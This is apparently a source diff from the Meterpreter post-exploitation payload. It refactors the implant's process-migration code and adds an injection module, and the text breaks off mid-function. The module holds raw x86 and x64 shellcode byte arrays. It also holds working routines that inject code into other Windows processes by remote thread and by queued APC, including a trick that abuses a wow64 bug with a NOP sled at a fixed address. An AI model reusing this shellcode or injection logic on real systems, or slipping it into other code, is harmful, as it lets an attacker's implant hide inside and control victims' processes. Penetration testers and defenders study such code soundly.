|
||||||
|
|
||||||
/*
|
|
||||||
* Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86)
|
|
||||||
* enviroment into a native x64 enviroment and accessing the native win64 API's.
|
|
||||||
* Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new
|
|
||||||
* threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out
|
|
||||||
* Windows 2003 from this method of injection, however the APC injection method will work on 2003.
|
|
||||||
*/
|
|
||||||
DWORD migrate_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread )
|
|
||||||
{
|
|
||||||
DWORD dwResult = ERROR_SUCCESS;
|
|
||||||
EXECUTEX64 pExecuteX64 = NULL;
|
|
||||||
X64FUNCTION pX64function = NULL;
|
|
||||||
WOW64CONTEXT * ctx = NULL;
|
|
||||||
OSVERSIONINFO os = {0};
|
|
||||||
|
|
||||||
do
|
|
||||||
{
|
|
||||||
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
|
|
||||||
|
|
||||||
if( !GetVersionEx( &os ) )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: GetVersionEx failed" )
|
|
||||||
|
|
||||||
// filter out Windows 2003
|
|
||||||
if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
|
|
||||||
{
|
|
||||||
SetLastError( ERROR_ACCESS_DENIED );
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: Windows 2003 not supported." )
|
|
||||||
}
|
|
||||||
|
|
||||||
// alloc a RWX buffer in this process for the EXECUTEX64 function
|
|
||||||
pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
||||||
if( !pExecuteX64 )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" )
|
|
||||||
|
|
||||||
// alloc a RWX buffer in this process for the X64FUNCTION function (and its context)
|
|
||||||
pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
||||||
if( !pX64function )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: VirtualAlloc pX64function failed" )
|
|
||||||
|
|
||||||
// copy over the wow64->x64 stub
|
|
||||||
memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) );
|
|
||||||
|
|
||||||
// copy over the native x64 function
|
|
||||||
memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) );
|
|
||||||
|
|
||||||
// set the context
|
|
||||||
ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) );
|
|
||||||
|
|
||||||
ctx->h.hProcess = hProcess;
|
|
||||||
ctx->s.lpStartAddress = lpStartAddress;
|
|
||||||
ctx->p.lpParameter = lpParameter;
|
|
||||||
ctx->t.hThread = NULL;
|
|
||||||
|
|
||||||
dprintf( "[MIGRATE] migrate_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx );
|
|
||||||
|
|
||||||
// Transition this wow64 process into native x64 and call pX64function( ctx )
|
|
||||||
// The native function will use the native Win64 API's to create a remote thread in the target process.
|
|
||||||
if( !pExecuteX64( pX64function, (DWORD)ctx ) )
|
|
||||||
{
|
|
||||||
SetLastError( ERROR_ACCESS_DENIED );
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
|
|
||||||
}
|
|
||||||
|
|
||||||
if( !ctx->t.hThread )
|
|
||||||
{
|
|
||||||
SetLastError( ERROR_INVALID_HANDLE );
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread_wow64: ctx->t.hThread is NULL" )
|
|
||||||
}
|
|
||||||
|
|
||||||
// Success! grab the new thread handle from of the context
|
|
||||||
*pThread = ctx->t.hThread;
|
|
||||||
|
|
||||||
dprintf( "[MIGRATE] migrate_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread );
|
|
||||||
|
|
||||||
} while( 0 );
|
|
||||||
|
|
||||||
if( pExecuteX64 )
|
|
||||||
VirtualFree( pExecuteX64, 0, MEM_DECOMMIT );
|
|
||||||
|
|
||||||
if( pX64function )
|
|
||||||
VirtualFree( pX64function, 0, MEM_DECOMMIT );
|
|
||||||
|
|
||||||
return dwResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
|
|
||||||
*/
|
|
||||||
DWORD migrate_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
|
|
||||||
{
|
|
||||||
DWORD dwResult = ERROR_SUCCESS;
|
|
||||||
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
|
|
||||||
HANDLE hThread = NULL;
|
|
||||||
DWORD dwThreadId = 0;
|
|
||||||
|
|
||||||
do
|
|
||||||
{
|
|
||||||
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
|
|
||||||
// fails, giving us a chance to try an alternative method or fail migration gracefully.
|
|
||||||
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId );
|
|
||||||
if( !hThread )
|
|
||||||
{
|
|
||||||
if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 )
|
|
||||||
{
|
|
||||||
// migrating x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).
|
|
||||||
|
|
||||||
dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;
|
|
||||||
|
|
||||||
if( migrate_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread: migrate_via_remotethread_wow64 failed" )
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread: CreateRemoteThread failed" )
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dprintf("[MIGRATE] Sending a migrate response..." );
|
|
||||||
// Send a successful response to let the ruby side know that we've pretty
|
|
||||||
// much successfully migrated and have reached the point of no return
|
|
||||||
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique );
|
|
||||||
packet_transmit_response( ERROR_SUCCESS, remote, response );
|
|
||||||
|
|
||||||
dprintf("[MIGRATE] Sleeping for two seconds..." );
|
|
||||||
// Sleep to give the remote side a chance to catch up...
|
|
||||||
Sleep( 2000 );
|
|
||||||
|
|
||||||
dprintf("[MIGRATE] Resuming the migration thread..." );
|
|
||||||
// Resume the migration thread...
|
|
||||||
if( ResumeThread( hThread ) == (DWORD)-1 )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_remotethread: ResumeThread failed" )
|
|
||||||
|
|
||||||
} while( 0 );
|
|
||||||
|
|
||||||
if( hThread )
|
|
||||||
CloseHandle( hThread );
|
|
||||||
|
|
||||||
SetLastError( dwResult );
|
|
||||||
|
|
||||||
return dwResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Migrate the meterpreter server from the current process into another process.
|
* Migrate the meterpreter server from the current process into another process.
|
||||||
*/
|
*/
|
||||||
|
@ -691,15 +175,23 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
|
||||||
BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 3 failed" )
|
BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 3 failed" )
|
||||||
|
|
||||||
// First we try to migrate by directly creating a remote thread in the target process
|
// First we try to migrate by directly creating a remote thread in the target process
|
||||||
if( migrate_via_remotethread( remote, response, hProcess, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS )
|
if( inject_via_remotethread( remote, response, hProcess, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS )
|
||||||
{
|
{
|
||||||
dprintf( "[MIGRATE] migrate_via_remotethread failed, trying migrate_via_apcthread..." );
|
dprintf( "[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..." );
|
||||||
|
|
||||||
// If that fails we can try to migrate via a queued APC in the target process
|
// If that fails we can try to migrate via a queued APC in the target process
|
||||||
if( migrate_via_apcthread( remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS )
|
if( inject_via_apcthread( remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, ((BYTE*)lpMemory+dwMigrateStubLength) ) != ERROR_SUCCESS )
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread failed" )
|
BREAK_ON_ERROR( "[MIGRATE] inject_via_apcthread failed" )
|
||||||
}
|
}
|
||||||
|
/*
|
||||||
|
// Wait at most 15 seconds for the event to be set letting us know that it's finished
|
||||||
|
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
|
||||||
|
BREAK_ON_ERROR( "[MIGRATE] WaitForSingleObjectEx failed" )
|
||||||
|
|
||||||
|
// Signal the main server thread to begin the shutdown as migration has been successfull.
|
||||||
|
dprintf("[MIGRATE] Shutting down the Meterpreter thread 1 (signaling main thread)...");
|
||||||
|
thread_sigterm( serverThread );
|
||||||
|
*/
|
||||||
|
|
||||||
// Signal the main server thread to begin the shutdown as migration has been successfull.
|
// Signal the main server thread to begin the shutdown as migration has been successfull.
|
||||||
// If the thread is not killed, the pending packet_receive prevents the new process
|
// If the thread is not killed, the pending packet_receive prevents the new process
|
||||||
|
@ -711,8 +203,9 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
|
||||||
// Unfortunately, its too late to do anything about a failure at this point
|
// Unfortunately, its too late to do anything about a failure at this point
|
||||||
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
|
if( WaitForSingleObjectEx( hEvent, 15000, FALSE ) != WAIT_OBJECT_0 )
|
||||||
dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
|
dprintf("[MIGRATE] WaitForSingleObjectEx failed with no way to recover");
|
||||||
// BREAK_ON_ERROR( "[MIGRATE] WaitForSingleObjectEx failed" )
|
|
||||||
dwResult = ERROR_SUCCESS;
|
dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
} while( 0 );
|
} while( 0 );
|
||||||
|
|
||||||
// If we failed and have not sent the response, do so now
|
// If we failed and have not sent the response, do so now
|
||||||
|
|
|
@ -0,0 +1,558 @@
|
||||||
|
#include "common.h"
|
||||||
|
#include "base_inject.h"
|
||||||
|
#include "./../../../../ReflectiveDLLInjection/LoadLibraryR.h"
|
||||||
|
#include <Tlhelp32.h>
|
||||||
|
|
||||||
|
// Simple trick to get the current meterpreters arch
|
||||||
|
#ifdef _WIN64
|
||||||
|
DWORD dwMeterpreterArch = PROCESS_ARCH_X64;
|
||||||
|
#else
|
||||||
|
DWORD dwMeterpreterArch = PROCESS_ARCH_X86;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
|
||||||
|
BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
|
||||||
|
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
|
||||||
|
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
|
||||||
|
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
|
||||||
|
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
|
||||||
|
|
||||||
|
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
|
||||||
|
BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
|
||||||
|
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
|
||||||
|
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
|
||||||
|
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
|
||||||
|
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
|
||||||
|
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
|
||||||
|
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
|
||||||
|
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
|
||||||
|
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
|
||||||
|
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
|
||||||
|
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
|
||||||
|
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
|
||||||
|
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
|
||||||
|
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
|
||||||
|
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
|
||||||
|
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
|
||||||
|
|
||||||
|
// see '/msf3/external/source/shellcode/x86/migrate/apc.asm'
|
||||||
|
BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5"
|
||||||
|
"\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F"
|
||||||
|
"\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF"
|
||||||
|
"\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B"
|
||||||
|
"\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01"
|
||||||
|
"\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF"
|
||||||
|
"\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58"
|
||||||
|
"\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04"
|
||||||
|
"\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58"
|
||||||
|
"\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10"
|
||||||
|
"\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B"
|
||||||
|
"\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00"
|
||||||
|
"\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51"
|
||||||
|
"\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00";
|
||||||
|
|
||||||
|
// see '/msf3/external/source/shellcode/x64/migrate/apc.asm'
|
||||||
|
BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48"
|
||||||
|
"\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
|
||||||
|
"\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
|
||||||
|
"\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
|
||||||
|
"\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
|
||||||
|
"\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
|
||||||
|
"\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01"
|
||||||
|
"\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF"
|
||||||
|
"\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41"
|
||||||
|
"\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
|
||||||
|
"\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C"
|
||||||
|
"\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41"
|
||||||
|
"\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20"
|
||||||
|
"\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF"
|
||||||
|
"\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00"
|
||||||
|
"\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00"
|
||||||
|
"\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41"
|
||||||
|
"\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00";
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread
|
||||||
|
* Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe
|
||||||
|
*/
|
||||||
|
DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||||
|
HMODULE hNtdll = NULL;
|
||||||
|
NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
|
||||||
|
HANDLE hThreadSnap = NULL;
|
||||||
|
LPVOID lpApcStub = NULL;
|
||||||
|
LPVOID lpRemoteApcStub = NULL;
|
||||||
|
LPVOID lpRemoteApcContext = NULL;
|
||||||
|
LIST * thread_list = NULL;
|
||||||
|
THREADENTRY32 t = {0};
|
||||||
|
APCCONTEXT ctx = {0};
|
||||||
|
DWORD dwApcStubLength = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
thread_list = list_create();
|
||||||
|
if( !thread_list )
|
||||||
|
break;
|
||||||
|
|
||||||
|
ctx.s.lpStartAddress = lpStartAddress;
|
||||||
|
ctx.p.lpParameter = lpParameter;
|
||||||
|
ctx.bExecuted = FALSE;
|
||||||
|
|
||||||
|
t.dwSize = sizeof( THREADENTRY32 );
|
||||||
|
|
||||||
|
// Get the architecture specific apc migration stub...
|
||||||
|
if( dwDestinationArch == PROCESS_ARCH_X86 )
|
||||||
|
{
|
||||||
|
if( dwMeterpreterArch == PROCESS_ARCH_X64 )
|
||||||
|
{
|
||||||
|
// injecting x64->x86(wow64)
|
||||||
|
|
||||||
|
// Our injected APC ends up running in native x64 mode within the wow64 process and as such
|
||||||
|
// will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub.
|
||||||
|
|
||||||
|
// This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though.
|
||||||
|
|
||||||
|
SetLastError( ERROR_ACCESS_DENIED );
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." )
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// injecting x86->x86
|
||||||
|
lpApcStub = &apc_stub_x86;
|
||||||
|
dwApcStubLength = sizeof( apc_stub_x86 );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if( dwDestinationArch == PROCESS_ARCH_X64 )
|
||||||
|
{
|
||||||
|
// injecting x64->x64 (and the same stub for x86(wow64)->x64)
|
||||||
|
lpApcStub = &apc_stub_x64;
|
||||||
|
dwApcStubLength = sizeof( apc_stub_x64 );
|
||||||
|
|
||||||
|
if( dwMeterpreterArch == PROCESS_ARCH_X86 )
|
||||||
|
{
|
||||||
|
// injecting x86(wow64)->x64
|
||||||
|
|
||||||
|
// For now we leverage a bug in wow64 to get x86->x64 injection working, this
|
||||||
|
// will simply fail gracefully on systems where the technique does not work.
|
||||||
|
|
||||||
|
MEMORY_BASIC_INFORMATION mbi = {0};
|
||||||
|
LPVOID lpRemoteAddress = NULL;
|
||||||
|
BYTE * lpNopSled = NULL;
|
||||||
|
BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0";
|
||||||
|
|
||||||
|
/*
|
||||||
|
// On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes.
|
||||||
|
// The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful,
|
||||||
|
// however the start address of the new APC in the native x64 process is not what we specify but instead it is
|
||||||
|
// the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc
|
||||||
|
// this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there
|
||||||
|
// injection will continue as normal.
|
||||||
|
|
||||||
|
// The registers on the native x64 process after the queued APC is attempted to run:
|
||||||
|
rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process
|
||||||
|
rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param)
|
||||||
|
rdx = dwApcStatusBlock // unused
|
||||||
|
r8 = dwApcReserved // unused
|
||||||
|
|
||||||
|
// On the WOW64 process side:
|
||||||
|
wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine
|
||||||
|
wow64:000000006B0095F0
|
||||||
|
wow64:000000006B0095F0 public Wow64ApcRoutine
|
||||||
|
|
||||||
|
// On the native x64 process side:
|
||||||
|
ntdll:0000000077EF30A0 public KiUserApcDispatcher
|
||||||
|
ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value
|
||||||
|
ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock
|
||||||
|
ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved
|
||||||
|
ntdll:0000000077EF30AE mov r9, rsp
|
||||||
|
ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine!
|
||||||
|
|
||||||
|
// Our bStub:
|
||||||
|
00000000 4889C8 mov rax, rcx
|
||||||
|
00000003 48C1E120 shl rcx, 32
|
||||||
|
00000007 48C1E920 shr rcx, 32
|
||||||
|
0000000B 48C1E820 shr rax, 32
|
||||||
|
0000000F FFE0 jmp rax
|
||||||
|
*/
|
||||||
|
|
||||||
|
// alloc the address of the wow64!Wow64ApcRoutine export in the remote process...
|
||||||
|
// TO-DO: parse the PE64 executable wow64.dll to get this at runtime.
|
||||||
|
lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
if( !lpRemoteAddress )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" );
|
||||||
|
|
||||||
|
if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" );
|
||||||
|
|
||||||
|
lpNopSled = (BYTE *)malloc( mbi.RegionSize );
|
||||||
|
if( !lpNopSled )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" );
|
||||||
|
|
||||||
|
memset( lpNopSled, 0x90, mbi.RegionSize );
|
||||||
|
|
||||||
|
if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" )
|
||||||
|
|
||||||
|
if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" )
|
||||||
|
|
||||||
|
free( lpNopSled );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
SetLastError( ERROR_BAD_ENVIRONMENT );
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" )
|
||||||
|
}
|
||||||
|
|
||||||
|
hNtdll = LoadLibraryA( "ntdll" );
|
||||||
|
if( !hNtdll )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" )
|
||||||
|
|
||||||
|
pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
|
||||||
|
if( !pNtQueueApcThread )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" )
|
||||||
|
|
||||||
|
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
|
||||||
|
if( !hThreadSnap )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" )
|
||||||
|
|
||||||
|
if( !Thread32First( hThreadSnap, &t ) )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" )
|
||||||
|
|
||||||
|
// Allocate memory for the apc stub and context
|
||||||
|
lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
if( !lpRemoteApcStub )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" )
|
||||||
|
|
||||||
|
// Simply determine the apc context address
|
||||||
|
lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength );
|
||||||
|
|
||||||
|
dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext );
|
||||||
|
|
||||||
|
// Write the apc stub to memory...
|
||||||
|
if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )
|
||||||
|
|
||||||
|
// Write the apc context to memory...
|
||||||
|
if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
HANDLE hThread = NULL;
|
||||||
